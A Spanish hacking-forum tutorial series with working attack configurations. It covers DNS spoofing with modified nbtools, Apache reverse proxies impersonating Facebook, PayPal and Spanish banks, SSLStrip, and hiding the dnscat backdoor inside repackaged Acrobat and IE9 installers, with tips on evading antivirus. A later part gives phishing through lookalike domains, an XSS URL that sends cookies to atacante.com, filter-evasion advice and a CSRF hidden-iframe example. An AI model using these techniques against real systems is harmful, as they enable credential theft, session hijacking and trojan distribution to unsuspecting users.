Luego, lo primero que tenemos que hacer (o disponer) en la red del atacante es "algo" que resuelva los dominios que queremos falsear, podemos instalarnos un Bind o un Server DNS... pero.... Tenemos que dar respuestas con "autoridad" y va ser mas complicado de ese modo...

Así que vamos a recurrir a otras herramientas, sencillas y eficaces.

Concretamente usaremos para este primer objetivo la suite de Nbtools, las tenemos disponibles para Windows y para Linux, y de verdad... funcionan a la perfección (hasta en Windows funcionan bien!!, para estos ejemplos usaremos la "versión linux" puesto que una de las cosas que haremos será modificar el código original de esta suite... y con linux es mas cómodo.

http://www.skullsecurity.org/wiki/index.php/Nbtool

Este conjunto de paquetes es muy bueno y consta de varias herramientas:

■DNS backdoor (dnscat)
■NetBIOS queries, registrations, and releases (nbquery)
■NetBIOS sniffing and poisoning (nbsniff)
■Cross-site scripting over DNS (dnsxss)
■DNS sniffer (dnslogger)
■DNS tester (dnstest)

De todos ellos usaremos dnscat y dnslogger, aunque no dejéis escapar ni practicar con dnsxxs ¡!!!

Dnscat es una puerta trasera... como lo haría netcat pero por el puerto 53 de UDP y esto trae como mayor ventaja que los cortafuegos de la red víctima van a dejar pasar ese tráfico, afirmaría que al 100%. Utilizaremos dnscat cuando queramos "colar" el backdoor a la víctima, y tiene otra ventaja... los antivirus!!! No lo reconocen como "peligroso", os dejo un pantallazo del escaneo con virustotal:

Dnslogger es un esniffer dns con algo mas... además de husmear las conexiones dns que recibimos es capaz de enviar una respuesta autoritativa al cliente que o solicite... de ese modo no necesitamos un servidor dns corriendo en nuestra máquina, dnslogger lo hará por nosotros.

Funciona "parecido" a dnspoof sólo que responde a todas las peticiones dns con la ip que le digamos, esto tiene sus ventajas y sus inconvenientes... el principal problema es que si queremos hacer spoof de unos cuantos dominios y no de todos pues dnslogger no nos lo permite y eso es lo que nosotros queremos hacer...

Entonces?? Por qué elegir este y no otros como dnspoof?? Pues la principal razón es porque con todos los otros que he probado no se obtuvieron los resultados deseados... casi todas las herramientas de spoofing dns se basan en ataques MiTM y funcionan muy bien en red local, pero cuando los sacas de paseo a Internet... bueno, no iban del todo bien.

Así que a grandes males, grandes remedios... Modifiqué el código fuente de dnslogger.c de tal forma que admita como parámetro un archivo con la lista de host o de dominios a falsear.

De esa modificación salen dos archivos nuevos que no existen obviamente en la suite original, estos son:

dnslogger_host y dnslogger_dom

ambos utilizan un archivo que se pasa como parámetro por consola –F archivodehost

y leerá dicho archivo para determinar qué debe responder y qué no debe responder.

Por qué dos?? Qué diferencia existe entre dnslogger_host y dnslogger_dom ??

Pues el primero falsea "exactamente" lo que le indique el archivo mientras que el otro falsea todo el dominio, es decir... supongamos que el archivo contiene esto:

http://www.facebook.com
http://www.paypal.com

dnslogger_host sólo suplantará esos y exactamente esos
dnslogger_dom falseará todo lo que termine en facebook.com y/o paypal.com

Es decir, si el cliente vícitma solicita que le resuelvan la dirección login.facebook.com pues dnslogger_host no lo hará puesto que no está en la lista mientras que dnslogger_dom sí responderá.

Estarás preguntando... hombre... parece mejor dnslogger_dom... es como "mas completo" y no hará falta especificar cada máquina de un mismo dominio....

Pues sí, es cierto, eso parece... pero... en la práctica puede (hay) algún que otro problema... por ejemplo, aunque lo veremos mas adelante, paypal utiliza varios "métodos" de control para que no se "redirijan" sus contenidos... estos métodos pueden ser url estáticas, examinar la cabecera referrer, cookies, etc.. pues bueno, al caso, si falseamos todo el dominio paypal.com y lo hacemos pasar por el proxyreverse de apache nos encontraremos que "no se ve bien" en el navegador del cliente y obviamente desconfiará y/o no seguirá con la sesión.

Se podría solucionar echando mano de mod_rewrite, mod_replace, mod_http_headers, etc en nuestro apache... pero... jooooo, es una lata.

Si por el contrario sólo falseamos algunas de las máquinas del dominio paypal.com todo funcionará a la perfección.

Y también ocurre en el caso contrario... por ejemplo, bbva.es utiliza un montón de "otras" máquinas además de http://www.bbva.es pero no tiene "ese mismo" control del que hablábamos antes... y será mas cómodo falsear todo el dominio que ir colocando máquina por máquina... al menos será mas rápido.

Vamos que como todo en la vida, no hay "aplicación mágica universal" que sirve para todo... por eso los dos.

Podéis descargar la versión "modificada" de nbtools (que incluyen estos dos nuevos programas dnslogger_host.c y dnslogger_dom.c) desde:

http://www.megaupload.com/?d=IUSBE3NJ

No voy a explicar el contenido de las modificaciones... para eso ya tenéis el código fuente... sólo tenéis que buscar Vic_Thor dentro del código fuente de esos dos archivos y os irán saliendo las partes añadidas/retocadas.

Lógicamente también he modificado el archivo Makefile para que se compilen los dos añadidos y así nadie tenga problemas a la hora de compilarlo y ejecutarlo...

Lo que no está hecho son las modificaciones para que corran en Windows... si alguno quiere hacerlo....

Ahora, antes de seguir vamos a ver cómo funciona dnslogger y "nuestras variantes" dnslogger_host y dnslogger_dom, el primer vídeo

VIDEO 01 – Configuración atacante y dnslogger

http://vmthor.site50.net/videosp4/video01.swf

Después habilitamos el reenvio: echo 1 > /proc/sys/net/ipv4/ip_forward

VIDEO 02 – Ejecución de nbtools -dnslogger (original)

http://vmthor.site50.net/videosp4/video02.swf

Y si vemos como está la chaé dns del cliente...

VIDEO 02b –Reolución DNS del cliente

http://vmthor.site50.net/videosp4/video02b.swf

Como hemos visto en el vídeo se resuelven TODAS las peticiones DNS de la víctima con la ip designada en dnslogger (-A 86.32.4.51) ahora veamos como funcionan las "modificaciones", necesitaremos un archivo que guarde los host a falsear y veremos que sólo estos se responderán con la ip del atacante, el resto los resolverá el DNS secundario de la víctima y le entregará las ip's "buenas".

VIDEO 03 – Funcionamiento de dnslogger_host

http://vmthor.site50.net/videosp4/video03.swf

También observa en el vídeo anterior que http://www.facebook.com se resuelve "falseado" mientras que login.facebook.com se resuelve con su direccióm IP real!!! Esto es porque usamos dnslogger_host y login.facebook.com no aparece en la lista de host a falsificar.

VIDEO 04– Funcionamiento de dnslogger_dom

La sintaxis es idéntica al anterior, solo que tomará el dominio en lugar de la máquina, por tanto, falseará login.facebook.com que antes no se hacía.

El código del programa escribe un archivo en /var/tmp un archivo llamado dominios.dom si no existe ese directorio créalo antes y dale permisos de escritura.

http://vmthor.site50.net/videosp4/video04.swf

Bueno, ya tenemos nuestro "dns" falso... sin embargo esto no quiere decir que podamos mostrar las páginas de facebook, de paypal, etc.. sólo resolvemos el nombre con la ip indicada, si el cliente en lugar de hacer un ping solicita la página web pues nada, de nada...

VIDEO 05– Las páginas correspondientes a los host falseados no se muestran

http://vmthor.site50.net/videosp4/video05.swf

Así que ahora debemos usar nuestro "famoso" proxyreverse con apache... pero si lo hacemos tal y como lo vimos en la parte III resultará que TODAS las peticiones del cliente de los hosts falseados se van a http://www.wadalbertia.org y eso no está bien... pero vamos a ver un vídeo para que (ya de paso) sepamos como ir configurando apache.

VIDEO 06– Reverse Proxy funciona pero todos los hosts falsificados se van a la dirección de proxypass y proxyreverse.

http://vmthor.site50.net/videosp4/video06.swf

Como hemos visto los host o dominios que no están en la lista se resuelven y muestran las páginas adecuadas mientras que aquellos hosts/dominios que están en la lista pasan por el Proxy... pero siempre se van a Wadalbertia!!! Y no a la web adecuada.

Para solucionar este pequeño problemilla, tenemos que usar VirtualHost en Apache tal y como ya dije en el hilo de esa parte tercera... si queremos responder "adecuadamente" tendremos que incluir tantos VirtualHost como máquinas que incluimos en el archivo falsear de ese modo se enviarán correctamente.

Tenemos que incluir como VirtualHost las máquinas que nos interesen... así mas o menos:

Código [Seleccionar]

NameVirtualHost *:80

### Para WADALBERTIA 

Listen 0.0.0.0:80
<VirtualHost  *:80>
    ServerName http://www.wadalbertia.org
	ServerAlias http://www.wadalbertia.org
	ProxyPreserveHost On
	ProxyRequests Off
	<Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>
	ProxyPass / http://www.wadalbertia.org/
    ProxyPassReverse / http://www.wadalbertia.org/
	<Location />
        Order allow,deny
        Allow from all
    </Location>
</VirtualHost>

Código [Seleccionar]

## Para ADOBE

<VirtualHost  *:80>
      ServerName http://www.adobe.com
	ServerAlias http://www.adobe.com
	ProxyPreserveHost On
	ProxyRequests Off
	<Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>
	ProxyPass / http://www.adobe.com/
      ProxyPassReverse / http://www.adobe.com/
    <Location />
        Order allow,deny
        Allow from all
    </Location>
</VirtualHost>

Código [Seleccionar]

## Para FACEBOOK

<VirtualHost *:80>
    ServerName http://www.facebook.com
	ServerAlias http://www.facebook.com
	 ProxyPreserveHost On
	ProxyRequests Off
	<Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>
    ProxyPass / http://www.facebook.com/
    ProxyPassReverse / http://www.facebook.com/
	<Location />
        Order allow,deny
        Allow from all
    </Location>
</VirtualHost>

Y así sucesivamente con todos los que queramos... lo vemos:

VIDEO 07 Reverse Proxy y VirtualHost

http://vmthor.site50.net/videosp4/video07.swf

Advierte en el anterior vídeo que aquellos hosts que se falsean (paypal.es, bbva.es, etc.) y que NO APARECEN en las directivas VirtualHost de Apache muestran lo que tiene el VirtualHost por defecto, por eso es conveniente incluir tantos VirtualHost en apache como máquinas que figuren en el archivo falsear cuando lanzamos dnslogger_host o dnslogger_dom
Ahora bien, ¿qué pasará cuando accedemos a una web por https?

Vamos a añadir la máquina http://www.paypal.com y su virtualhost correspondiente... también meteremos a http://www.bbva.es y su virtualhost...

VIDEO 08 Reverse Proxy,VirtualHost y SSL

http://vmthor.site50.net/videosp4/video08.swf

Pues lo que se esperaba... para poder acceder tanto paypal.com como bbva.es es necesario hacerlo por https no por http y como no tenemos VirtualHost para los puertos 443 (ni otras muchas cosas) configurados... pues no podemos (de momento)

Vamos a hacer un alto en esto de Apache y juguemos con otra herramienta...

A ver, por el momento ya somos capaces de hacernos pasar por el dominio o máquina que se nos antoje de cara a la red victima...

¿Y si hacemos un MitM con SSLStrip??

Jejeje, mala sombra que tenemos no??

Pues sí, funcionará sin problemas... es mas... no vamos ni a necesitar apache corriendo porque se va a encargar SSLStrip de ello... tan solo con tener el reenvío activado (que ya está desde hace muuuchoooo) y lanzar SSLStrip, bastará!!!

VIDEO 09 SSLStrip con dnslogger_host o dnslogger_dom

http://vmthor.site50.net/videosp4/video09.swf

Fácil, no??? Pues como "práctica adicional" os invito a que intentéis lo mismo (por ejemplo) con:

http://www.gruposantander.es o http://www.bancosantander.es

¿Qué pasa?

VIDEO 10 SSLStrip no siempre es la "solución" por sí solo...

http://vmthor.site50.net/videosp4/video10.swf

Y si el "mozo" teclea directamente https://www.paypal.com ¿??

Pues eso, que entonces SSLStrip no se "percata" puesto que la conexión va directamente contra el puerto 443 y no contra el 80, por todo ello y por mas otras cosas necesitaremos nuestro apache

Vamos a realizar otro "alto en el camino"...

Porque esto que vamos a comentar ahora igual lo necesitamos mas adelante (no todo, pero casi todo)

Recordáis que al principio del hilo hablaba acerca de dnscat???

Pues llegó el momento!!! Vamos a instalarle dnscat a la víctima, bueno, realmente podríamos instalarle cualquier cosa pero como estamos con esto....

La idea es que el "infeliz" internauta se descargue y EJECUTE el troyano, ya... estarás pensando que no lo hará.... Pero.... Y si le obligamos a que descargue lo que descargue además de "eso" que él quiere bajarse a su máquina le colamos "lo nuestro"???

Vamos a realizar "dos prácticas" una de pruebas (para entender lo que tenemos entre manos) y otra un poco más elaborada (controlada y fijando como objetivo, por ejemplo Acrobat Reader y a windowsupdate)

En este próximo vídeo vamos a controlar "sus descargas" de tal forma que si accede a cualquiera de los dominios "falseados" (los que existan en el archivo falsear) siempre se descargue... por ejemplo... skype!!!

Es decir... el usuario victima navega hacia la web de adobe para descargar de http://www.showmypc.com (que por cierto os lo recomiendo para administrar remotamente equipos) o hacia donde sea... siempre se descargue el archivo winrar.exe

Para no hacerlo muy largo, controlaremos solo las descargas que realice la victima desde showmypc.com y cualquier aplicación de sourceforge.net

Y en esta ocasión, ya que pueden cambiar los hosts de descarga... usaremos dnslogger_dom en lugar de dnslogger_host. De este modo si por ejemplo para descargar showmypc unas veces se hace desde d1.showmypc.com otras desde download3.showmypc.com, etc... no necesitaremos "chiquicientas" máquinas en Virtualhost...

VIDEO 11 Controlando las descargas (prueba 1)

http://vmthor.site50.net/videosp4/video11.swf

La reglas de mod_rewrite aplicadas son muy simples:

Código [Seleccionar]

       RewriteEngine On
	RewriteRule ^(.+).extensión_que_se_reemplazará$	http://nueva_dirección_a_escribir/ruta/archivo.extensión

Y otra práctica mas... para vosotros, calro...

¿qué tal si probáis esto mismo con?:

http://www.winrar.es y/o con downloads.winrar.es

Como veréis "tal y como" se creó la regla de mod_rewrite con esta no funciona... así que a estudiar y a postear el código necesario para que cuando se quieran descargar winrar.exe se "redirija" a Skype.exe

Vale... vamos a "afinar" un poquito mas... al igual que los casos anteriores, nos centramos en una sola aplicación... seguimos con Acrobat Reader...

Vamos a "meter" el troyanito dnscat.exe "junto" con el paquete de Acrobat Reader con la esperanza de que nuestra víctima tenga la necesidad de descargarlo o podemos usar alguna de las actualizaciones de Windows Update... que esas seguro que se descargan con frecuencia ... podemos usar como "conejillo de indias" al flamante Internet Explorer 9...

Pues a ello... para que esto sea real como la vida misma necesitamos una copia "limpia" tanto de IE9 como de la última verisón de Acrobat Reader... así que a descargarlos en un equipo de la red atacante...

Cuando los tengamos, los vamos a juntar con dnscat.exe (o con lo que mas rabia nos de) y como el usuario de lo descargó de la web oficial pues lo instalará tarde o temprano...

Una vez que esto se cumpla, también se copiarán los archivos y los ejecutará el paquete de instalación!!!

Cómo? Pues hombre, seguro que tienes mas de un joinner o empaquetador o generador de instalaciones... pero no los necesitas... XP incorpora una herramienta muy poco conocida que se llama iexpress.exe (que nos viene al dedo para esto)

Sin embargo hay "otro problema" dnscat.exe se ha de ejecutar desde la línea de comandos... y eso "canta" porque se nos queda la ventanita negra en la vícitma... y no es bueno... además, si la cierra se acaba el "invento".

Lo solucionamos en un momentito... pero antes vamos a ver como funciona dnscat suponiendo que ya se lo instalamos y ejecutamos...

VIDEO 12 Funcionamiento de dnscat.exe para Windows

http://vmthor.site50.net/videosp4/video12.swf

Bien... como hemos visto con dnscat obtenemos un shell de la víctima... pero la dichosa pantallita delata a dnscat.

Lo solucionamos con "otra" herramienta... se llama Hidden Start (hstart.exe) y la podemos descargar desde:

http://www.ntwind.com/software/utilities/hstart.html

Asumiendo que hemos conseguido "subir" a la victima dnscat.exe y hstart.exe, la cosa cambia... así de sencillo:

VIDEO 13 Funcionamiento de dnscat.exe y hstart.exe

http://vmthor.site50.net/videosp4/video13.swf

Ahora sólo tendríamos que ser "creativos" con los nombres dnscat y/o hstart para que se confundan con procesos de Windows o similar... ya sabes

Llega la hora de "empaquetarlo" todo... como ya adelanté en Windows XP existe un programa llamado iexpress.exe que es "muy cómodo"... para el engaño necesitaremos la aplicación (en nuestro ejemplo Acrobat reader y/o la beta de Internet Explorer 9), el archivo .bat (s.bat) que ejecutará lo visto antes, hstart.exe y dnscat.exe.

Todo eso lo empaquetaremos con iexpress.exe y mediante la técnica del mod_rewrite vista antes (Vídeo 11) cuando nuestro infortunado cliente se descargue el Acrobat o IE9 además de eso que él quiere, se llevará nuestras "cosas" y si lo ejecuta, se instalará y ya está!!!

Veamos el vídeo de cómo hacer "el paquete" cabe destacar que si no usas XP (2003, 2008, W7, Vista...) necesitarás iexpress.exe, makecab.exe y wextract.exe sólo los tienes que copiar de un XP y punto.

VIDEO 14 Empaquetando herramientas.

http://vmthor.site50.net/videosp4/video14.swf

Ya tenemos los programas "originales" junto con nuestro dnscat... si además usamos Reshack para cambiarles los iconos... pues mejor que mejor...

Cuando el usuario "visite" la web de adobe y se descargue la última verisón de Acrobat o si le da por probar o instalar IE9... pues... eso...

En el siguiente vídeo se muestra eso mismo... y además, como ya comente, utilicé ResHack para poner los iconos "buenos" de cada aplicación... así cuando se los descargue será de "mas realismo"

Guardamos en el directorio /var/www de la máquina atacante los archivos "modificados" para que obligar al cliente a que los descargue...

(el directorio /var/www/ es el DocumentRoot de los VirtualHost de apache que crearemos para esta ocasión)

VIDEO 15 Fin de la jugada...

http://vmthor.site50.net/videosp4/video15.swf

Bien, esta Parte IV está siendo mas extensa de lo que esperaba... así que la vamos a dividirla... hasta aquí este primer avance... nos queda atacar a SSL con nuestro ReverseProxy, certificados "a medida" y demás... por el momento, suficiente.

PD: Los vídeos los podéis descargar de:

http://www.megaupload.com/?d=AW396I02

Están comprimidos en un rar y la contrraseña para descomprimir es: El_Lider_DWFP

ChimoC · 30 Octubre 2010, 13:32 PM

QUINTA PARTE

Antes de comenzar quiero hacer una DEDICATORIA muy, muy especial...

"A mi hermano Javier que murió hace cuatro días después de luchar contra un cáncer.

Durante julio y agosto esta "saga" de Y tras el Router Qué? Me ayudó a pasar las noches de vigilia, los días de sufrimientos y esperanzas.

Soy yo quien agradece a estos foros por encontrar un lugar en el que pude evadirme de la realidad que me acompañó en estos últimos meses, la lucha que tenía Javier contra "todo" venía de mucho mas atrás, pero fueron estos últimos meses los que mas encontró a "su gente" y con nosotros, también estabais todos vosotros sin saberlo.

Te fuiste de mi lado un día... mientras escribía esta quinta parte, la termino para ti. El dolor que me has dejado, duele... duele mucho, pero no es comparable con la alegría de haber podido disfrutar de tu compañía, de haber estado a tu lado.

Javi, esto es lo que hacía cuando me preguntabas... por ello te dedico estas líneas para que aquellos que lean estos foros, estos últimos mensajes mios, te recuerden sin conocerte, GRACIAS a ti... sin ti esto quizás no hubiese salido de la misma forma."

Y otra cosa, la última: Sé que más de uno de vosotros estará tentado a enviarme sus condolencias, por mensaje o directamente en este hilo... no lo hagáis, os lo pido por favor.

Vale... después de unas cuantas lágrimas y varios suspiros... empecemos:

Un resumen de lo que viene, primero de lo que ya NO es:

Código [Seleccionar]

	* No tenemos "control" directo del router y/o red víctima.
	* No podemos cambiar configuración alguna del equipo, router o red víctima.
	* No conocemos nada acerca de la configuración de la red víctima, sólo su ip pública.

Ahora lo que SI conocemos:

Código [Seleccionar]

* Conocemos que es "asiduo" de algún foro/blog/red social (en nuestros ejemplos serán Wadalbertia, Yahoo mail, Facebook y Footbag)

	* Conocemos su nick, cuenta de correo, nombre de usuario o similar.

Y por último lo que intentaremos y técnicas a utilizar:

Código [Seleccionar]

	* Intentaremos hacernos pasar por esos servidores/servicios con el objeto de:

		a.- Robar sus contraseñas
		b.- Suplantar la sesión activa
		c.- Controlar el navegador del cliente víctima

Código [Seleccionar]

* Usaremos técnicas de:

		1.- ProxyPass y ProxyPassReverse con apache
		2.- Envío de correo o spam con ataques Cross Site Scripting Persistentes
		3.- Cross Site Request Forgery (CSRF) 
		4.- Control del navegador y ejecución de comandos con XSS-Shell
		5.- Secuestro de sesión http mediante túneles XSS
		6.- Acceso a la Red local Víctima con Anti DNS pinnig y Rebind DNS

Obviamente hay muchas otras técnicas y pruebas que podemos realizar, pero elegí estas porque (aunque alguna tiene la "solera" de 16 años, siguen activas y vigentes) son como más novedosas, atrevidas, desconocidas por muchos, poco "comentadas" en nuestros foros y.. en definitiva, mas arriesgadas a la vez que efectivas, de todas ellas seguro que encontraréis suficiente información en la web, pero seguro que "pocas" o ninguna con el detalle y ejecución "hasta el final" para conseguir el objetivo, no es por vanagloria personal, pero así es.

Todo no es "gratuito", para alguna de ellas precisaremos de algunos recursos "extra" como por ejemplo algún dominio REAL y registrado por el atacante... y claro... este pequeño texto que seguro a mas de uno le acompañará muchas horas de estudio y trabajo... por todo ello, no es del todo "gratuito".

También nos vamos a alejar un tanto de "los grandes" y nos centraremos en pequeñas redes y/o usuarios domésticos, así será mas asequible para todo el mundo.

Como introducción a lo que nos ocupa, creo que ya está bien... ahora manos a la obra.

1.- Robo de contraseñas, ingeniería social y algo de fortuna...

Hasta ahora hemos usado apache con mod_proxy para "interponer" un Proxy entre el atacante y la víctima, lo hacíamos con efectividad porque ya habíamos conseguido que nuestros "clientes" usaran como servidor DNS primario la propia máquina del atacante..

Ahora, no será así... ya no disfrutamos de esa enorme ventaja, en su lugar tendremos que acudir al "engaño" y hacernos pasar por quien realmente no somos.

Tenemos que intentar "a toda costa" que los clientes visiten nuestra web y/o incitarles a que sigan un enlace con destino a una web del atacante... o directamente hacia la máquina del atacante.

Digamos que es como un "ataque reactivo" la víctima acude y nosotros respondemos con "malas formas".

En este primer ejemplo "asumimos" que el atacante tiene registrados y dispone de control total de "dominios" similares a los que pretende falsificar, en nuestro ejemplo wadalbertia.com

wadalbertia.com (dominio sin registrar todavía y que suplantará al verdadero que son nuestros foros de wadalbertia.org)

Como wadalbertia.com está (suponemos) en poder del atacante, éste interpondrá el Proxy y capturará contraseñas de acceso.

Para este ejemplo y todos los que se sucederán (tal y como dijimos antes) sabemos la dirección mail de la vícitma y obviamente la del atacante... en todos los ejemplos usaremos:

soyunavictima@yahoo.es como cuenta de la vícitima
soyunatacante@yahoo.es como cuenta de correo del atacante.[/list]

Estas cuentas han sido activadas expresamente para todos nuestros ejercicios, y como has de suponer, tras la publicación de este texto están suspendidas o eliminadas.

Bien, pues suponiendo que el dominio wadalbertia.com esté en poder del atacante y que en el DNS se haya creado una entrada hacia http://www.wadalbertia.com sólo tenemos que configurar nuestro servidor web con el virtualhost correspondiente y proxypass

Código [Seleccionar]

NameVirtualHost *:80
Listen 0.0.0.0:80
<VirtualHost  *:80>
    	ServerName http://www.wadalbertia.com
	ServerAlias http://www.wadalbertia.com
	ProxyPreserveHost off
	ProxyRequests off
	ProxyVia off
	<Proxy *>
        	Order deny,allow
        		llow from all
    	</Proxy>
	ProxyPass / http://www.wadalbertia.org/
    	ProxyPassReverse / http://www.wadalbertia.org/
	<Location />
Order allow,deny
Allow from all
    	</Location>
</VirtualHost>

Y para que la victima acuda.. podemos enviarle un mail

Video 01: Suplantación con ProxyPass de Wadalbertia.com

Y si fuese https???

Por ejemplo con http://www.facebook.com y con https://login.facebook.com

Mas difícil... la solución vendrá "tras vuestros avances" de momento no doy pistas, lo probáis que con todo lo que ya hemos aprendido hay para un rato.

2.- Envío de correo o spam con ataques Cross Site Scripting Persistentes

Bien, antes de empezar con el asunto tendríamos que hablar de XSS y de lo XSS persistentes.

De Cross Site Scripting (XSS) no voy a decir nada nuevo, ya sabemos de lo que trata y que "en condiciones normales" actúa contra el navegador del cliente y que "a veces" se usa para robo de cookies y otras fugas de información, habitualmente con código javascript.

Consiste en "obligar" a la víctima seguir un enlace (mediante un clic directo, mediante imágenes, mediante frames, mediante flash, mediante descargas pdf, videos, etc.,,) y ese enlace "conecta" con el servidor web y/o aplicación afectada.

Una vez que eso ya se consiguió se puede redirigir al cliente, presentarle información "errónea", enviar información privada a un tercero y todo lo que ya conocemos.

Los XSS "habituales" suelen ser url's con "cosas raras" (en ocasiones sumamente raras), a veces muy largas, casi siempre con caracteres y o contenidos en los equivalentes hexadecimales y no en texto legible.

Un ejemplo: (de un banco... para que veamos que no todo el monte es orégano)

http://www.bankofireland.ie/site-search/htsearch?words=%3Cscript%3Ealert%28%22Diosz%20Esxiste!!!%22%29%3C%2Fscript%3E&Submit=GO

Código [Seleccionar]

http://www.bankofireland.ie/site-search/htsearch?words=%3Cscript%3Ealert%28%22Diosz%20Esxiste!!!%22%29%3C%2Fscript%3E&Submit=GO

Otro ejemplo... este "imaginario"

Código [Seleccionar]

http://www.ejemplo.com/phpBB2/privmsg.php?mode=%22%3e%3c%73%63%72
%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61
%74%69%6f%6e%2e%68%72%65%66%3d%e2%80%99%68%74%74%70%3a%2f%2f
%77%77%77%2e%61%74%61%63%61%6e%74%65%2e%63%6f%6d%2f%72%6f%62
%61%2e%70%68%70%3d%e2%80%99%2b%64%6f%63%75%6d%65%6e%74%2e%6
%6f%6f%6b%69%65%65%3b%3c%73%63%72%69%70%74%3e

que "en texto claro es esto":

Código [Seleccionar]

http://www.ejemplo.com/phpBB2/privmsg.php?mode="><script>alert(document.cookie);document.location.href='http://www.atacante.com/roba.php='+document.cookiee;<script>

Tanto este último como el anterior son "sospechosos" y el que lo vea pues como que no... imagina postear eso en un blog, en un foro o recibir un correo "invitándote" a pinchar en ese enlace...

Para "disimular" podemos usar el servicio de minilink, por ejemplo esto mismo es un enlace hacia el segundo: http://minilink.es/zu

De este tipo hay muchos por la red, como tiny.cc... esto sería lo mismo para el ejemplo del banco: http://tiny.cc/pbx55

Bueno, dejando a parte la habilidad con el que un XSS nos puede afectar y la forma en que lo presentamos, tenemos que ver qué es eso del XSS persistente.

Como acabamos de ver, si un visitante pincha en el enlace del banco que pusimos o mediante otros métodos obligamos a que se "lo trague" (una imagen o iframe oculto) pues aparecerá la ventanita esa de que Diosz Existe!!!.

Pero para ello tuvimos que "inyectar" el código XSS en el enlace real... pues bien, un XSS Persistente es aquel que de una forma u otra una vez "inyectado" PERMANECE y el visitante que accede a la web (sin añadir el XSS) se ve afectado.

Un ejemplo "muy básico": http://vmthor.site50.net/miblog2/pagina.php

Esta "web" admite un parámetro que se llama param=lo-que-sea

De tal modo que lo-que-sea es el texto que se "posteará" en ese "blog" y se presupone que quedará almacenado por algún lugar....

Es decir, si ponemos:

Código [Seleccionar]

http://vmthor.site50.net/miblog2/pagina.php?param=Wadalbertia

La palabra "Wadalbertia" se escribirá en pantalla como resultado, esto:

Código [Seleccionar]

Contenido de archivo.txt = Wadalbertia

El filtro de entrada sustituye algún que otro carácter.. por ejemplo, si pinemos

Código [Seleccionar]

http://vmthor.site50.net/miblog2/pagina.php?param="Wadalbertia"

aparecerá esto otro:

Código [Seleccionar]

Contenido de archivo.txt = "Wadalbertia"

Como vemos, el filtro sustituye las comillas por " como medida "disuasoria"

Qué pasaría si ponemos:

Código [Seleccionar]

?param=<script>alert("Dios Existe!!!")</script>

Pues si lo dejase pasar el filtro, todo el que visualizase es "post" sufriría el XSS persistente, no funcionará porque tenemos que usar alguna técnica de "filter evasion" , una de las más conocidas y funcionales es utilizar la función javascript String.fromCharCode.

A esta función le deben seguir los valores en decimal equivalentes a los caracteres que deseasemos, bueno en el vídeo lo veremos mejor.

Una web "cómoda" para traducirlo es:

http://home2.paulschou.net/tools/xlate/

Veamos en el vídeo como somos (incapaces) y luego capaces de inyectar ese XSS.

Vídeo 02: XSS Persistente de forma simplificada.

Te invito que pruebes esto mismo con:

http://vmthor.site50.net/miblog/blog.html

Así te entretienes un ratito...

Ahora tenemos que "ver" otro concepto, el CSRF.

También encontraréis sobrada información de ello por Internet, sólo apuntaré que CSRF no es otra cosa que "la confianza" que tienen las aplicaciones, ventanas o pestañas del navegador en otras que estaban abiertas antes que la nueva.

De todos es conocido que cuando navegamos por Internet y pinchamos en un enlace, en ocasiones, se nos abre una nueva ventana del explorador o una nueva pestaña... otras veces el contenido de ese enlace se muestra en la ventana activa... es lo normal.

Y qué pasa si ese enlace pretende (por ejemplo) cerrar la sesión que teníamos activa en otra ventana... pues que como unas confían en otras... se cierra.

Vemos un vídeo de cómo un usuario de yahoo mail pincha en un enlace que le llega por correo y cuando "regresa" a ver/leer mas correos se encuentra que su sesión se cerró.

El atacante envía un correo a soyunavictima@yahoo.com y cuando éste lee el correo y pincha en el enlace...

El código del enlace "maligno" es:

Código [Seleccionar]

<html>
<object width="425" height="344">
	<param name="movie" value="http://www.youtube.com/v/h4y3cfJESzw?hl=es&fs=1"></param>
	<param name="allowFullScreen" value="true"></param>
	<param name="allowscriptaccess" value="always"></param>
	<embed src="http://www.youtube.com/v/h4y3cfJESzw?hl=es&fs=1" 
type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
	</embed>
</object>
<iframe src="https://login.yahoo.com/config/login?logout=1" width="0" height="0"></iframe>
</html>

Vídeo 03: CRSF ejemplo con login yahoo.

Lo que acabamos de ver no deja de ser "molesto" y nada mas... pero... y si gracias (o por desgracia) a esta funcionalidad el usuario recibe un correo, lo abre, pincha en el enlace (o mediante una imagen "mal intencionada"), y tras leer el correo que le llegó sin quererlo ni beberlo... envía 500 correos a una lista de distribución.

Y si ese correo se envía a cientos de usuarios... pues serán cientos de usuarios los que enviarán a su vez 500 correos a esa lista de distribución...

Pues eso, también es molesto... molesto para los que le lleguen 385 (es un ejemplo) correos de lo mismo y por diferentes cuentas... también es molesto para los servidores de correo, molesto para el que lo envía, molesto para todos menos para el que lo "ideó" que a lo mejor saca partido de ello vendiendo "humo".

Por si fuese poco... si esto lo unimos a un XSS de tipo persistente, pues "to quisqui" que visite una web afectada por ese fallo estará enviando 500 correos a otros tantos destinos... y todo ello por cada visita... si ese sitio tiene 1000 visitantes diarios y si se "configura" el XSS persistente para enviar 300 correos a 500 direcciones destino... pues multiplicad... 300 x 500 x 1000 = 150.000.000 correos diarios que se come el servidor y los destinatarios....

De momento nos "conformamos" con preparar una web mediante un script php que envíe un correo a nosotros mismos... vamos a enviarlo del atacante para el atacante, luego ya jugaremos con el resto.

Usaremos Live http Headers en firefox para capturar los envíos y las respuestas.

El script es este:

Código [Seleccionar]

$service_port = getservbyname('www', 'tcp');
$address = gethostbyname('de.mc249.mail.yahoo.com');
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "
";
} else {
    echo "OK.
";
}
echo "Intentando conectar con... '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
    echo "socket_connect() failed.
Reason: ($result) " . socket_strerror(socket_last_error($socket)) . "
";
} else {
    echo "OK.
<br><br>";
}
$in = 'AQUI SE PEGAN LAS CABECERAS DEL MAIL!!!!!';

// ESTA LINEA ES IMPORTANTE!!!

$in .= "Connection: Close

"; 

echo "Enviando peticiones HTTP...";
socket_write($socket, $in, strlen($in));
echo "OK.
<br><br>";
echo "Cerrando Sockets...";
socket_close($socket);
echo "OK.

<br><br>";
echo "<h3>ENVIADO!!!!</h3>

